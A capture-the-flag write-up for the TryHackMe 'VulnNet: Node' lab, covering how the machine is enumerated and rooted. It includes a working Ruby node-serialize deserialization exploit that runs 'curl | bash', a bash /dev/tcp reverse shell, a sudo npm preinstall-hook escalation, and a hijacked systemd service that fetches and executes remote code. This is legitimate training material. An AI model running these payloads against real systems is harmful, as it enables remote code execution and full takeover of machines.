VulnNet: Node - Write-up - TryHackMe

Information

Room#

  • Name: VulnNet: Node
  • Profile: tryhackme.com
  • Difficulty: Easy
  • Description: After the previous breach, VulnNet Entertainment states it won't happen again. Can you prove they're wrong?

VulnNet: Node

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S nmap ffuf ruby-ctf-party ruby-httpclient gtfoblookup pwncat

Network enumeration#

Port and service scan with nmap:

# Nmap 7.91 scan initiated Mon Mar 29 15:50:00 2021 as: nmap -sSVC -p- -oA nmap_full 10.10.45.222
Nmap scan report for 10.10.45.222
Host is up (0.025s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE VERSION
8080/tcp open  http    Node.js Express framework
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: VulnNet – Your reliable news source – Try Now!

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 29 15:51:26 2021 -- 1 IP address (1 host up) scanned in 85.79 seconds

There is a Node.js Express framework web app.

Web enumeration#

The web application is running on port 8080.

That's a basic blog:the home page is hosting the blog posts and there is a login page at /login.

Let's try to find hidden pages and folders:

$ ffuf -u http://10.10.45.222:8080/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -fc 403
...
css                     [Status: 301, Size: 173, Words: 7, Lines: 11]
login                   [Status: 200, Size: 2127, Words: 240, Lines: 113]
img                     [Status: 301, Size: 173, Words: 7, Lines: 11]
                        [Status: 200, Size: 7577, Words: 706, Lines: 1]

$ ffuf -u http://10.10.45.222:8080/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -fc 403

$ ffuf -u http://10.10.45.222:8080/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -fc 403 -e .js

I didn't find anything more than the login page.

We can collect the name of the authors for further username bruteforce if needed.

Tilo Mitra
Eric Ferraiuolo
Reid Burke
Andrew Wooldridge

We can't bruteforce the login page yet as we don't have a valid email format.

Web analysis#

We can see on our requests that we have a cookie set:

GET /login HTTP/1.1
Host: 10.10.45.222:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.45.222:8080/
Connection: close
Cookie: session=eyJ1c2VybmFtZSI6Ikd1ZXN0IiwiaXNHdWVzdCI6dHJ1ZSwiZW5jb2RpbmciOiAidXRmLTgifQ%3D%3D
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

With ctf-party we can URL-decode and base64-decode the cookie.

$ ctf_party_console
irb(main):003:0> puts 'eyJ1c2VybmFtZSI6Ikd1ZXN0IiwiaXNHdWVzdCI6dHJ1ZSwiZW5jb2RpbmciOiAidXRmLTgifQ%3D%3D'.urldecode.from_b64
{"username":"Guest","isGuest":true,"encoding": "utf-8"}

Let's try to craft a new one using ctf-party again.

irb(main):004:0> cookie = {"username":"Guest","isGuest":true,"encoding": "utf-8"}
irb(main):006:0> cookie[:username] = 'admin'
irb(main):007:0> cookie[:isGuest] = false
irb(main):009:0> require 'json'
irb(main):012:0> cookie.to_json.to_b64.urlencode
=> "eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNHdWVzdCI6ZmFsc2UsImVuY29kaW5nIjoidXRmLTgifQ%3D%3D"

But using this cookie the app doesn't redirect us anywhere when requesting /login. However on the home page we can see Welcome, admin, acknowledging the cookie spoofing worked. Let's request the home page with an erroneous cookie, maybe a stack trace could leak some technology used.

Sending a partially deleted cookie returns an HTTP error 500 and the following stack trace:

SyntaxError: Unexpected end of JSON input
    at JSON.parse ()
    at Object.exports.unserialize (/home/www/VulnNet-Node/node_modules/node-serialize/lib/serialize.js:62:16)
    at /home/www/VulnNet-Node/server.js:16:24
    at Layer.handle [as handle_request] (/home/www/VulnNet-Node/node_modules/express/lib/router/layer.js:95:5)
    at next (/home/www/VulnNet-Node/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/home/www/VulnNet-Node/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/home/www/VulnNet-Node/node_modules/express/lib/router/layer.js:95:5)
    at /home/www/VulnNet-Node/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/home/www/VulnNet-Node/node_modules/express/lib/router/index.js:335:12)
    at next (/home/www/VulnNet-Node/node_modules/express/lib/router/index.js:275:10)

We have a helpful full path disclosure and we notice that an unserialization is done.

Web exploitation#

Using this article (Exploiting Node.js deserialization bug for Remote Code Execution) and this exploit ( EDB-ID-49552) I re-created a better exploit in ruby:

require 'ctf_party' # gem install ctf-party
require 'json'
require 'httpclient' # gem install httpclient

# change values here
URL = 'http://10.10.163.253:8080/'
LHOST = '10.9.19.77'
LPORT = 8888
FILE = 'noraj.sh'

payload = """
require('child_process').exec('curl #{LHOST}:#{LPORT}/#{FILE} | bash', function(error, stdout, stderr)
{ console.log(stdout) })
""".gsub("\n", '')

puts payload

code = "_$$ND_FUNC$$_#{payload}"

cookie = { username: code, isAdmin: true, encoding: 'utf-8' }

headers = {
  'Cookie' => "session=#{cookie.to_json.to_b64.urlencode}"
}

clnt = HTTPClient.new
clnt.cookie_manager = nil
clnt.get(URI(URL), nil, headers)

Before executing it let's create noraj.sh that will be downloaded an executed.

bash -i >& /dev/tcp/10.9.19.77/9999 0>&1

Start a web server to serve the script:

$ ruby -run -e httpd . -p 8888

Start a reverse shell listener:

$ pwncat -lvv 9999

Then execute the exploit:

$ ruby node_serialize.rb

And we get the shell:

www@vulnnet-node:~/VulnNet-Node$ id
uid=1001(www) gid=1001(www) groups=1001(www)

EoP: from www-data to serv-manage#

We can run npm as serv-manage:

www@vulnnet-node:~/VulnNet-Node$ sudo -l
Matching Defaults entries for www on vulnnet-node:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www may run the following commands on vulnnet-node:
    (serv-manage) NOPASSWD: /usr/bin/npm

There is an EoP vector looking at GTFObins:

$ gtfoblookup linux sudo npm  
npm:

    sudo:

        Code: TF=$(mktemp -d)
              echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
              sudo npm -C $TF --unsafe-perm i

Let's do this:

$ TF=$(mktemp -d)
$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
$ sudo -u serv-manage /usr/bin/npm -C $TF --unsafe-perm i

But we have an error like we do not have permission in created folder in /tmp so let's try /dev/shm instead.

$ mkdir /dev/shm/noraj
$ TF=/dev/shm/noraj
$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
$ sudo -u serv-manage /usr/bin/npm -C $TF --unsafe-perm i

That give me a shell as serv-manage:

> @ preinstall /dev/shm/noraj
> /bin/sh

id
uid=1000(serv-manage) gid=1000(serv-manage) groups=1000(serv-manage)

EoP: from serv-manage to root#

We can start/stop a systemd timer called vulnnet-auto:

$ sudo -l
Matching Defaults entries for serv-manage on vulnnet-node:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User serv-manage may run the following commands on vulnnet-node:
    (root) NOPASSWD: /bin/systemctl start vulnnet-auto.timer
    (root) NOPASSWD: /bin/systemctl stop vulnnet-auto.timer
    (root) NOPASSWD: /bin/systemctl daemon-reload

With systemctl status we can find the path of the timer file:

$ systemctl status vulnnet-auto.timer
● vulnnet-auto.timer - Run VulnNet utilities every 30 min
   Loaded: loaded (/etc/systemd/system/vulnnet-auto.timer; disabled; vendor preset: enabled)
   Active: inactive (dead)
  Trigger: n/a

The file is writable by our user:

$ ls -lh /etc/systemd/system/vulnnet-auto.timer
-rw-rw-r-- 1 root serv-manage 167 Jan 24 16:59 /etc/systemd/system/vulnnet-auto.timer

Let's see /etc/systemd/system/vulnnet-auto.timer:

[Unit]
Description=Run VulnNet utilities every 30 min

[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/30
Unit=vulnnet-job.service

[Install]
WantedBy=basic.target

The timer is starting a job after 30min.

We can find the service and see it is writable by our user:

$ systemctl status vulnnet-job.service
● vulnnet-job.service - Logs system statistics to the systemd journal
   Loaded: loaded (/etc/systemd/system/vulnnet-job.service; disabled; vendor preset: enabled)
   Active: inactive (dead)

$ ls -lh /etc/systemd/system/vulnnet-job.service
-rw-rw-r-- 1 root serv-manage 197 Jan 24 21:40 /etc/systemd/system/vulnnet-job.service

/etc/systemd/system/vulnnet-job.service

[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer

[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/df

[Install]
WantedBy=multi-user.target

Let's replace the executed payload with a reverse shell in /etc/systemd/system/vulnnet-job.service.

-ExecStart=/bin/df
+ExecStart=/bin/bash -c "curl 10.9.19.77:8888/noraj.sh | bash"/'

I can't use nano or sed -i or some other fancy methods because the folder is not writable.

$ echo 'W1VuaXRdCkRlc2NyaXB0aW9uPUxvZ3Mgc3lzdGVtIHN0YXRpc3RpY3MgdG8gdGhlIHN5c3RlbWQgam91cm5hbApXYW50cz12dWxubmV0LWF1dG8udGltZXIKCltTZXJ2aWNlXQojIEdhdGhlciBzeXN0ZW0gc3RhdGlzdGljcwpUeXBlPWZvcmtpbmcKRXhlY1N0YXJ0PS9iaW4vYmFzaCAtYyAiY3VybCAxMC45LjE5Ljc3Ojg4ODgvbm9yYWouc2ggfCBiYXNoIgoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0' | base64 -d > /etc/systemd/system/vulnnet-job.service

Let's stop the timer, reload modified files on disk and start the timer:

$ sudo /bin/systemctl stop vulnnet-auto.timer
$ sudo /bin/systemctl daemon-reload
$ sudo /bin/systemctl start vulnnet-auto.timer

Loot our root shell:

$ pwncat -lvv 7777
INFO: Listening on :::7777 (family 10/IPv6, TCP)
INFO: Listening on 0.0.0.0:7777 (family 2/IPv4, TCP)
INFO: Client connected from 10.10.163.253:40950 (family 2/IPv4, TCP)
bash: cannot set terminal process group (1359): Inappropriate ioctl for device
bash: no job control in this shell
root@vulnnet-node:/# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnnet-node:/# cat /root/root.txt
Share